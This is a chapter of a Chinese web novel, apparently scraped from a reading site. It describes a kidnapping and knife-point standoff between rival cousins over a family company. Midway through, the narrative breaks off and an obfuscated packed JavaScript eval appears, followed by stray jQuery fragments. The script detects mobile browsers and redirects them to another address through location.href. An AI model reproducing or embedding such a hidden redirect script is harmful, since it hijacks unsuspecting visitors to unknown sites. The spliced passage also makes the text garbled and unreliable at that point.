61. 恶魔低语

作品:《至夜沉沦

    -


    华灯初上,入夜的京城才显出繁华本色,灏榆路依旧歌舞升平,推杯换盏间聊起近日京城的动向,从前那个和他们坐在一处喝酒的祁四少如今已经成为了话题中心。


    “东西都准备好了吗?”


    周西把收集到的信息放在祁知礼面前。


    “我们已经掌握了祁文渊先生与祁明均先生买卖商业机密,挪用公款,以及和不正当势力勾结的证据,您可以随时召开董事会。”


    祁知礼瞥了一眼手机上的时间,今天是周五。


    “下周一召开董事会,无特殊情况,全体董事必须准时出席。”


    “另外安排一下,我明天要去一趟医院。”


    医院那边说祁成蹊醒过一次,目前状况还算平稳,但已经经不起刺激了。可罢免祁明均和祁文渊这么大的事儿,祁成蹊作为董事长不能不知道,祁知礼要是先斩后奏怕是更气人吧。


    “好的,我会向每一位董事传达您的意思。”


    手机上没有程诉的新信息,祁知礼正想打电话问她是不是还没下班,于叔的电话先进来了。


    “小少爷,您让我接的人我已经送到了。”


    “接什么人?”


    祁知礼从来没叫于叔去接过除程诉以外的人。


    “就是那位姓林的小姐,您今天下午给我发的短信,您忘记了吗?”


    “那程诉呢?”


    “程小姐说她自己回家。”


    “她已经到家了吗?”


    “这我不知道,程小姐没跟我说呀。”


    没跟于叔说?


    祁知礼总有种不好的预感,挂掉电话就给程诉拨过去,可响了很久却没人接。秋水长天那边的物业也打电话确认过了,程诉的车今天没有回来。


    “周西!马上给我查程诉现在在哪儿!”


    祁知礼冲出办公室。


    她没有一点消息,会不会已经出事了?祁知礼不敢深想,把冷序南都叫过来了,他眼线多,比祁知礼自己查起来容易。


    “你不接他电话怎么让他知道我在哪儿?”


    程诉的手机已经被祁文渊拿走,祁知礼打来的每一个电话他都不接,也不挂断,就任由手机响着。


    “这就不用程小姐操心了,他会知道的,我们还是来聊聊刚才的赌约吧,程小姐要不要和我赌呢?”


    “赌不赌又有什么意义?”


    “程小姐,你现在没得选。”


    她现在被绑在这里动弹不得,就是为鱼肉任人宰割,她没得选。


    “没关系,时间还长,除了赌约,我们还有很多可以聊的事情,比如程小姐就不想知道我是怎么把你带到这里来的?又准备了什么给我的那位好堂弟?”


    这个问题显然比赌约能勾起程诉的好奇心,程诉从醒来以后就只看到了祁文渊一个人,可他既然要害她,怎么可能一个人来,他准备了些什么对付祁知礼,程诉很担心。


    “程小姐太关心阿礼了,不如先关心关心你自己,说实话,绑你过来是费了我一番功夫的。”


    祁文渊还真把这个过程讲给程诉听,一点都没要捂着不让人知道的所谓,看起来颇有同归于尽的打算,他越这样,程诉越心惊。


    祁知礼起先就有预感,所以已经尽力在做准备了,安排于叔接送她,公司和小区里也安插了人,但还是没防住。


    前几天秋水长天警戒,就是因为发现了祁文渊的私家侦探,祁文渊知道在秋水长天动手是不行的了,只能找借口把于叔引开。


    “可明明是祁知礼让于叔去接人的。”


    “找个黑客冒充祁知礼给人发条信息我还是做得到的。”


    祁文渊挂在嘴角的假笑瘆人得很,程诉现在明白这全都是刻意为之。


    “没想到程小姐这么弱不禁风的,我手底下的人就动了一下,你就倒在地上了。”


    她的确是疏忽了,主要也没想过祁文渊会来这一招,而且就算她有准备,身边没人帮她的情况下,她也打不过要劫持她的彪形大汉。


    早知道听祁知礼的,带两个保镖了,可现在后悔也没用了,她已经到这里来了。


    脑子正沉浸在复盘中,祁文渊的声音又毫无防备的响起。


    “程小姐你听听,外面是不是有什么声音。”


    是汽车鸣笛声,还有打斗声,程诉耳朵不算多灵敏,但仓库不是很隔音,依然能把那些声音听得清楚。


    “程小姐,他来了。”


    “你猜猜他会不会喜欢我为他准备的惊喜。”


    祁文渊已经处在疯癫的边缘,可程诉没心思管他,听那些打斗声,感觉情况并不好。她多希望不是祁知礼亲自来,他就差一步就能成功了,如果在这个时候出了意外……


    她不敢想。


    外面的声音渐渐小了,直到停止。


    大门被人用力踢开,外面的光泄露进来,照得一直处在黑暗中的程诉睁不开眼,而祁文渊不知道什么时候已经到她身后。


    “程小姐,你看,他来了。”


    这句话胜过恶魔低语,下一秒,祁文渊手里的那把刀就架到了她脖子上。


    “阿礼,别来无恙。”


    祁知礼可没心情跟祁文渊叙旧,他眼里只有被尖刀挟持的程诉。


    “堂兄,你这是做什么?”


    “我想做什么你还看不出来吗?”


    祁知礼看出来了,所以才着急。


    “阿礼。”


    冷序南也跟过来了。


    “你别冲动,祁文渊手上有刀,伤到程诉怎么办?”


    “我知道,可是程诉她……”


    刀刃折射出的寒光映在他眼睛里,他没办法平静下来。


    “我说怎么这么快你就打开这道门了,原来你还带了人,冷公子也别来无恙啊,上次那个项目我们还没好好聊聊呢。”


    让环悦大出血的案子被冷氏抢走,冷序南也在祁文渊的账本上呢。


    “不过得先让我们解决一下家事。”


    “祁知礼,你一个人进来,不然我可不能保证程小姐的安全。”


    “阿礼,这怎么行……”


    冷序南想劝他慎重考虑,进去不知道有什么后果,但锋利的刀刃架在程诉的脖子上,已经划出血了。


    祁知礼和冷序南凑近低语几句,他就真的一个人进来了。


    “祁知礼,你别过来!”


    不知道祁文渊还有什么后招,他怎么敢就这样进来?


    程诉的心脏比被祁文渊劫持她时还跳得快,比起自己,她更担心祁知礼,是她没有听他的话,拒绝他在身边安排人,她冲祁知礼摇头,她不希望他只身犯险。


    “祁文渊,你把刀放下,我们可以好好聊。”


    祁知礼进来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145772|157632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大门又被祁文渊的人关上。


    “我要是把刀放下了,哪来的筹码能跟你好好聊呢?”


    他清楚得很,他现在什么都没有,程诉就是他唯一的筹码了。


    “其实我没想到你能为一个女人做到这个地步,我就是赌了一把,没想到赌赢了,你们凌家还真是出情种啊。”


    言语间,程诉脖子上的刀又抵进两分,她感受到更深的刺痛,脸上五官已经皱成一团。


    “要怎样你才能放了程诉?”


    祁知礼一阵心纠,稍微上前一步,祁文渊的刀就握得更紧,祁知礼不敢轻举妄动了,试图跟他谈判解决。


    “很简单啊,销毁你手上的所有证据,把祁氏拱手相让,我就可以放了她。”


    这是个很过分的要求,祁知礼和凌淑慎做了那么多准备,祁文渊一句话就要他放弃,听起来很天真,也不可能被答应。


    可祁知礼却没有丝毫犹疑。


    “我答应你,你现在把她放了,我马上就让人处理。”


    他答应得太爽快,祁文渊反而小心了,要是这里面没炸才叫人不信呢。


    “你应该很熟悉这里是什么地方吧。”


    程诉醒来这几个小时,还没注意到这是哪里,好像仓库都长一个样,但祁知礼是从外面进来的,他知道这是哪里。


    “华悦的仓库堆了很多危险试剂,你知道,只需要一个打火机,这里就能烧成灰烬,我们,都会葬身在这里。”


    华悦上一个项目实验剩了很多材料堆在这里,这些易燃易爆的试剂要是着火可不是开玩笑的,祁文渊是真疯了,得不到想要的就同归于尽。


    “我说话算数,你给我一点时间,我马上就处理,你放开程诉来劫持我行不行!”


    人质是一个弱不禁风的女孩子更好,还是一个体型和他差不多的正常男性更好,祁文渊还是分得清,自然不肯放开程诉,反而越来越得寸进尺。


    “祁知礼,你只有五分钟。”


    “你的刀别离她那么近!”


    祁文渊一点力道都没松开,反而觉得祁知礼这幅着急样子有趣得很。


    “我的耐心很有限,阿礼。”


    “五分钟不够,我至少需要十分钟。”


    “你现在还有四分二十秒,她是死是活就看你动作够不够快了。”


    “好,你别动她!”


    每个人对时间流速对感知不一样,程诉和祁文渊觉得太漫长太煎熬,祁知礼却觉得过得太快。


    “阿礼,你还有最后一分钟。”


    祁文渊很淡定的在倒数,祁知礼眉头越皱越紧。


    “十、九、八……”


    倒数的声音戛然而止,更清晰的警笛声音传进耳朵。


    “祁知礼,原来你在和我拖延时间。”


    “你真的不怕我一刀要了程诉的命吗?”


    祁知礼越靠越近,祁文渊就越激动。


    “我怕,我当然怕,二伯当年害死了我父亲,我怎么能不怕你今天要害死程诉?”


    “可我如果今天放过你,那未来的每一天,我身边的每一个人都会活在随时毙命的恐惧中,你和你父亲一样,做事狠绝,我要永绝后患,才能让程诉真正平安。”


    祁文渊和他父亲一样,都走上了手足相残的老路。


    “好啊,那我们就同归于尽吧。”


    -